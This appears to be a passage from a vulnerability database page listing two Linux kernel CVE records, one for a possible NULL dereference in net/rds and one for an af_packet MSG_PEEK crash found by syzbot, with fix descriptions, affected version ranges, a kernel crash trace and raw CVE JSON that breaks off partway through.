In the Linux kernel, the following vulnerability has been resolved: net/rds: fix possible cp null dereference cp might be null, calling cp->cp_conn would produce null dereference [Simon Horman adds:] Analysis: * cp is a parameter of __rds_rdma_map and is not reassigned. * The following call-sites pass a NULL cp argument to __rds_rdma_map() - rds_get_mr() - rds_get_mr_for_dest * Prior to the code above, the following assumes that cp may be NULL (which is indicative, but could itself be unnecessary) trans_private = rs->rs_transport->get_mr( sg, nents, rs, &mr->r_key, cp ? cp->cp_conn : NULL, args->vec.addr, args->vec.bytes, need_odp ? ODP_ZEROBASED : ODP_NOT_NEEDED); * The code modified by this patch is guarded by IS_ERR(trans_private), where trans_private is assigned as per the previous point in this analysis. The only implementation of get_mr that I could locate is rds_ib_get_mr() which can return an ERR_PTR if the conn (4th) argument is NULL. * ret is set to PTR_ERR(trans_private). rds_ib_get_mr can return ERR_PTR(-ENODEV) if the conn (4th) argument is NULL. Thus ret may be -ENODEV in which case the code in question will execute. Conclusion: * cp may be NULL at the point where this patch adds a check; this patch does seem to address a possible bug

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d275de8ea7be3a453…
https://git.kernel.org/stable/c/bcd46782e2ec3825d…
https://git.kernel.org/stable/c/cfb786b03b03c5ff3…
https://git.kernel.org/stable/c/d49fac38479bfdaec…
https://git.kernel.org/stable/c/cbaac2e5488ed5483…
https://git.kernel.org/stable/c/92309bed3c5fbe2cc…
https://git.kernel.org/stable/c/6794090c742008c53…
https://git.kernel.org/stable/c/62fc3357e079a07a2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 786854141057751bc08eb26f1b02e97c1631c8f4 , < d275de8ea7be3a453629fddae41d4156762e814c (git) Affected: 997efea2bf3a4adb96c306b9ad6a91442237bf5b , < bcd46782e2ec3825d10c1552fcb674d491cc09f9 (git) Affected: 9dfc15a10dfd44f8ff7f27488651cb5be6af83c2 , < cfb786b03b03c5ff38882bee38525eb9987e4d14 (git) Affected: b562ebe21ed9adcf42242797dd6cb75beef12bf0 , < d49fac38479bfdaec52b3ea274d290c47a294029 (git) Affected: 998fd719e6d6468b930ac0c44552ea9ff8b07b80 , < cbaac2e5488ed54833897264a5ffb2a341a9f196 (git) Affected: 2b505d05280739ce31d5708da840f42df827cb85 , < 92309bed3c5fbe2ccd4c45056efd42edbd06162d (git) Affected: c055fc00c07be1f0df7375ab0036cebd1106ed38 , < 6794090c742008c53b344b35b021d4a3093dc50a (git) Affected: c055fc00c07be1f0df7375ab0036cebd1106ed38 , < 62fc3357e079a07a22465b9b6ef71bb6ea75ee4b (git) Affected: 907761307469adecb02461a14120e9a1812a5fb1 (git)
Linux	Linux	Affected: 6.8 Unaffected: 0 , < 6.8 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35902",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T14:09:14.303997Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:18.553Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.670Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d275de8ea7be3a453629fddae41d4156762e814c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bcd46782e2ec3825d10c1552fcb674d491cc09f9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cfb786b03b03c5ff38882bee38525eb9987e4d14"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d49fac38479bfdaec52b3ea274d290c47a294029"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cbaac2e5488ed54833897264a5ffb2a341a9f196"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/92309bed3c5fbe2ccd4c45056efd42edbd06162d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6794090c742008c53b344b35b021d4a3093dc50a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/62fc3357e079a07a22465b9b6ef71bb6ea75ee4b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:37.774Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/rds/rdma.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d275de8ea7be3a453629fddae41d4156762e814c",
              "status": "affected",
              "version": "786854141057751bc08eb26f1b02e97c1631c8f4",
              "versionType": "git"
            },
            {
              "lessThan": "bcd46782e2ec3825d10c1552fcb674d491cc09f9",
              "status": "affected",
              "version": "997efea2bf3a4adb96c306b9ad6a91442237bf5b",
              "versionType": "git"
            },
            {
              "lessThan": "cfb786b03b03c5ff38882bee38525eb9987e4d14",
              "status": "affected",
              "version": "9dfc15a10dfd44f8ff7f27488651cb5be6af83c2",
              "versionType": "git"
            },
            {
              "lessThan": "d49fac38479bfdaec52b3ea274d290c47a294029",
              "status": "affected",
              "version": "b562ebe21ed9adcf42242797dd6cb75beef12bf0",
              "versionType": "git"
            },
            {
              "lessThan": "cbaac2e5488ed54833897264a5ffb2a341a9f196",
              "status": "affected",
              "version": "998fd719e6d6468b930ac0c44552ea9ff8b07b80",
              "versionType": "git"
            },
            {
              "lessThan": "92309bed3c5fbe2ccd4c45056efd42edbd06162d",
              "status": "affected",
              "version": "2b505d05280739ce31d5708da840f42df827cb85",
              "versionType": "git"
            },
            {
              "lessThan": "6794090c742008c53b344b35b021d4a3093dc50a",
              "status": "affected",
              "version": "c055fc00c07be1f0df7375ab0036cebd1106ed38",
              "versionType": "git"
            },
            {
              "lessThan": "62fc3357e079a07a22465b9b6ef71bb6ea75ee4b",
              "status": "affected",
              "version": "c055fc00c07be1f0df7375ab0036cebd1106ed38",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "907761307469adecb02461a14120e9a1812a5fb1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/rds/rdma.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.8"
            },
            {
              "lessThan": "6.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.19.310",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.272",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.213",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.152",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "6.1.82",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "6.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/rds: fix possible cp null dereference\n\ncp might be null, calling cp-\u003ecp_conn would produce null dereference\n\n[Simon Horman adds:]\n\nAnalysis:\n\n* cp is a parameter of __rds_rdma_map and is not reassigned.\n\n* The following call-sites pass a NULL cp argument to __rds_rdma_map()\n\n  - rds_get_mr()\n  - rds_get_mr_for_dest\n\n* Prior to the code above, the following assumes that cp may be NULL\n  (which is indicative, but could itself be unnecessary)\n\n\ttrans_private = rs-\u003ers_transport-\u003eget_mr(\n\t\tsg, nents, rs, \u0026mr-\u003er_key, cp ? cp-\u003ecp_conn : NULL,\n\t\targs-\u003evec.addr, args-\u003evec.bytes,\n\t\tneed_odp ? ODP_ZEROBASED : ODP_NOT_NEEDED);\n\n* The code modified by this patch is guarded by IS_ERR(trans_private),\n  where trans_private is assigned as per the previous point in this analysis.\n\n  The only implementation of get_mr that I could locate is rds_ib_get_mr()\n  which can return an ERR_PTR if the conn (4th) argument is NULL.\n\n* ret is set to PTR_ERR(trans_private).\n  rds_ib_get_mr can return ERR_PTR(-ENODEV) if the conn (4th) argument is NULL.\n  Thus ret may be -ENODEV in which case the code in question will execute.\n\nConclusion:\n* cp may be NULL at the point where this patch adds a check;\n  this patch does seem to address a possible bug"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:27.880Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d275de8ea7be3a453629fddae41d4156762e814c"
        },
        {
          "url": "https://git.kernel.org/stable/c/bcd46782e2ec3825d10c1552fcb674d491cc09f9"
        },
        {
          "url": "https://git.kernel.org/stable/c/cfb786b03b03c5ff38882bee38525eb9987e4d14"
        },
        {
          "url": "https://git.kernel.org/stable/c/d49fac38479bfdaec52b3ea274d290c47a294029"
        },
        {
          "url": "https://git.kernel.org/stable/c/cbaac2e5488ed54833897264a5ffb2a341a9f196"
        },
        {
          "url": "https://git.kernel.org/stable/c/92309bed3c5fbe2ccd4c45056efd42edbd06162d"
        },
        {
          "url": "https://git.kernel.org/stable/c/6794090c742008c53b344b35b021d4a3093dc50a"
        },
        {
          "url": "https://git.kernel.org/stable/c/62fc3357e079a07a22465b9b6ef71bb6ea75ee4b"
        }
      ],
      "title": "net/rds: fix possible cp null dereference",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35902",
    "datePublished": "2024-05-19T08:34:55.692Z",
    "dateReserved": "2024-05-17T13:50:33.114Z",
    "dateUpdated": "2026-05-12T11:52:37.774Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57901 (GCVE-0-2024-57901)

Vulnerability from cvelistv5 – Published: 2025-01-15 13:05 – Updated: 2026-05-12 12:01

Title

af_packet: fix vlan_get_protocol_dgram() vs MSG_PEEK

Summary

In the Linux kernel, the following vulnerability has been resolved: af_packet: fix vlan_get_protocol_dgram() vs MSG_PEEK Blamed commit forgot MSG_PEEK case, allowing a crash [1] as found by syzbot. Rework vlan_get_protocol_dgram() to not touch skb at all, so that it can be used from many cpus on the same skb. Add a const qualifier to skb argument. [1] skbuff: skb_under_panic: text:ffffffff8a8ccd05 len:29 put:14 head:ffff88807fc8e400 data:ffff88807fc8e3f4 tail:0x11 end:0x140 dev:<NULL> ------------[ cut here ]------------ kernel BUG at net/core/skbuff.c:206 ! Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 1 UID: 0 PID: 5892 Comm: syz-executor883 Not tainted 6.13.0-rc4-syzkaller-00054-gd6ef8b40d075 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 RIP: 0010:skb_panic net/core/skbuff.c:206 [inline] RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216 Code: 0b 8d 48 c7 c6 86 d5 25 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 5a 69 79 f7 48 83 c4 20 90 <0f> 0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 RSP: 0018:ffffc900038d7638 EFLAGS: 00010282 RAX: 0000000000000087 RBX: dffffc0000000000 RCX: 609ffd18ea660600 RDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000 RBP: ffff88802483c8d0 R08: ffffffff817f0a8c R09: 1ffff9200071ae60 R10: dffffc0000000000 R11: fffff5200071ae61 R12: 0000000000000140 R13: ffff88807fc8e400 R14: ffff88807fc8e3f4 R15: 0000000000000011 FS: 00007fbac5e006c0(0000) GS:ffff8880b8700000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fbac5e00d58 CR3: 000000001238e000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> skb_push+0xe5/0x100 net/core/skbuff.c:2636 vlan_get_protocol_dgram+0x165/0x290 net/packet/af_packet.c:585 packet_recvmsg+0x948/0x1ef0 net/packet/af_packet.c:3552 sock_recvmsg_nosec net/socket.c:1033 [inline] sock_recvmsg+0x22f/0x280 net/socket.c:1055 ____sys_recvmsg+0x1c6/0x480 net/socket.c:2803 ___sys_recvmsg net/socket.c:2845 [inline] do_recvmmsg+0x426/0xab0 net/socket.c:2940 __sys_recvmmsg net/socket.c:3014 [inline] __do_sys_recvmmsg net/socket.c:3037 [inline] __se_sys_recvmmsg net/socket.c:3030 [inline] __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3030 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/560cbdd26b510626f…
https://git.kernel.org/stable/c/0d3fa6c3c9ca7aa25…
https://git.kernel.org/stable/c/de4f8d477c67ec1d7…
https://git.kernel.org/stable/c/5d336714db324bef8…
https://git.kernel.org/stable/c/a693b87692b4d7c50…
https://git.kernel.org/stable/c/cd8488fdc7116f6da…
https://git.kernel.org/stable/c/f91a5b8089389eb40…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c77064e76c768fb101ea5ff92dc771142fc9d8fd , < 560cbdd26b510626f3f4f27d34c44dfd3dd3499d (git) Affected: 83e2dfadcb6258fe3111c8a8ec9cf34465e55e64 , < 0d3fa6c3c9ca7aa255696150f5b759ac4a4974e1 (git) Affected: d0a1f9aa70f0d8a05b6320e8a3f3b83adab8dac3 , < de4f8d477c67ec1d7c28f3486c3e47d147d90a01 (git) Affected: 5839f59ff1dd4e35b9e767927931a039484839e1 , < 5d336714db324bef84490c75dcc48b387ef0346e (git) Affected: 5a041d25b67042cbe06a0fb292ee22fd1147e65c , < a693b87692b4d7c50f4fc08a996678d60534a9da (git) Affected: 79eecf631c14e7f4057186570ac20e2cfac3802e , < cd8488fdc7116f6da277515647b167859d4f72b1 (git) Affected: 79eecf631c14e7f4057186570ac20e2cfac3802e , < f91a5b8089389eb408501af2762f168c3aaa7b79 (git) Affected: 3dfd84aa72fa7329ed4a257c8f40e0c9aff4dc8f (git) Affected: 66f23a7b5174b5d3e7111fd2d0d5a4f3faaa12e5 (git)
Linux	Linux	Affected: 6.11 Unaffected: 0 , < 6.11 (semver) Unaffected: 5.4.289 , ≤ 5.4.* (semver) Unaffected: 5.10.233 , ≤ 5.10.* (semver) Unaffected: 5.15.176 , ≤ 5.15.* (semver) Unaffected: 6.1.124 , ≤ 6.1.* (semver) Unaffected: 6.6.70 , ≤ 6.6.* (semver) Unaffected: 6.12.9 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-57901",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:54:36.657172Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:19.115Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:55:19.106Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:34.173Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/if_vlan.h",
            "net/packet/af_packet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "560cbdd26b510626f3f4f27d34c44dfd3dd3499d",
              "status": "affected",
              "version": "c77064e76c768fb101ea5ff92dc771142fc9d8fd",
              "versionType": "git"
            },
            {
              "lessThan": "0d3fa6c3c9ca7aa255696150f5b759ac4a4974e1",
              "status": "affected",
              "version": "83e2dfadcb6258fe3111c8a8ec9cf34465e55e64",
              "versionType": "git"
            },
            {
              "lessThan": "de4f8d477c67ec1d7c28f3486c3e47d147d90a01",
              "status": "affected",
              "version": "d0a1f9aa70f0d8a05b6320e8a3f3b83adab8dac3",
              "versionType": "git"
            },
            {
              "lessThan": "5d336714db324bef84490c75dcc48b387ef0346e",
              "status": "affected",
              "version": "5839f59ff1dd4e35b9e767927931a039484839e1",
              "versionType": "git"
            },
            {
              "lessThan": "a693b87692b4d7c50f4fc08a996678d60534a9da",
              "status": "affected",
              "version": "5a041d25b67042cbe06a0fb292ee22fd1147e65c",
              "versionType": "git"
            },
            {
              "lessThan": "cd8488fdc7116f6da277515647b167859d4f72b1",
              "status": "affected",
              "version": "79eecf631c14e7f4057186570ac20e2cfac3802e",
              "versionType": "git"
            },
            {
              "lessThan": "f91a5b8089389eb408501af2762f168c3aaa7b79",
              "status": "affected",
              "version": "79eecf631c14e7f4057186570ac20e2cfac3802e",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "3dfd84aa72fa7329ed4a257c8f40e0c9aff4dc8f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "66f23a7b5174b5d3e7111fd2d0d5a4f3faaa12e5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/if_vlan.h",
            "net/packet/af_packet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.11"
            },
            {
              "lessThan": "6.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.289",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.233",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.176",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.124",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.70",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.289",
                  "versionStartIncluding": "5.4.282",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.233",
                  "versionStartIncluding": "5.10.224",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.176",
                  "versionStartIncluding": "5.15.165",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.124",
                  "versionStartIncluding": "6.1.103",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.70",
                  "versionStartIncluding": "6.6.44",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.9",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.320",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.10.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_packet: fix vlan_get_protocol_dgram() vs MSG_PEEK\n\nBlamed commit forgot MSG_PEEK case, allowing a crash [1] as found\nby syzbot.\n\nRework vlan_get_protocol_dgram() to not touch skb at all,\nso that it can be used from many cpus on the same skb.\n\nAdd a const qualifier to skb argument.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff8a8ccd05 len:29 put:14 head:ffff88807fc8e400 data:ffff88807fc8e3f4 tail:0x11 end:0x140 dev:\u003cNULL\u003e\n------------[ cut here ]------------\n kernel BUG at net/core/skbuff.c:206 !\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 1 UID: 0 PID: 5892 Comm: syz-executor883 Not tainted 6.13.0-rc4-syzkaller-00054-gd6ef8b40d075 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n RIP: 0010:skb_panic net/core/skbuff.c:206 [inline]\n RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216\nCode: 0b 8d 48 c7 c6 86 d5 25 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 5a 69 79 f7 48 83 c4 20 90 \u003c0f\u003e 0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 